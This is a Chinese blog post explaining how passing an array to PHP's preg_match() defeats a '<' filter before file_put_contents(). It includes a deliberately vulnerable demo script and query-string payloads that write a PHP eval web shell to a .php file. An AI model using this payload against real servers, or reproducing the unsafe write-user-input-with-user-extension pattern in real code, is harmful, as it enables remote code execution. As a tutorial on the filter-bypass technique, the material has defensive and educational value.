file_put_contents() 利用技巧

0x00 Preface

0x01 file_put_contents()

在这里插入图片描述

参数 data 为要写入的数据,类型可以是 string、array 或 stream。如果 data 为 stream,就相当于使用 stream_copy_to_stream() 函数,stream 中保存的缓存数据将被写入到指定文件中。如果 data 为数组(但不能为多维数组),就相当于使用 file_put_contents($filename, join("", $array)),将数据转换为字符串后写入。

0x02 preg_match()

对于用户可控的输入,大多都通过正则对敏感字符进行过滤:

if(preg_match('/\</',$data)){
 die('hack');
}

0x03 Bypass preg_match()

很多以字符串为参数的函数如果传入数组则会报错并返回 null, 如 strcmp()、strlen()、md5() 等。但 preg_match() 函数传入数组时报错返回的是 false,这样以来 preg_match() 函数的正则过滤就失效了,并且不会改变原数据的内容。这里我们可以通过 var_dump(preg_match('/\</',$data)); 来验证。

<?php 
  
if(isset($_GET['content']) && isset($_GET['ext'])){
 $data = $_GET['content'];
 $ext = $_GET['ext'];
  
 var_dump(preg_match('/\</',$data));
 if(preg_match('/\</',$data)){
  die('<br>hack');
 }
 $filename = time();
 file_put_contents($filename.$ext, $data);
}
  
?>

content=123&ext=.txt
在这里插入图片描述
在这里插入图片描述

content=<?php%20@eval($_POST[%27a%27]);%20?>&ext=.php
在这里插入图片描述

content[]=<?php%20@eval($_POST[%27a%27]);%20?>&ext=.php

在这里插入图片描述
在这里插入图片描述

0x04 Reference

https://www.jb51.net/article/127521.htm

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值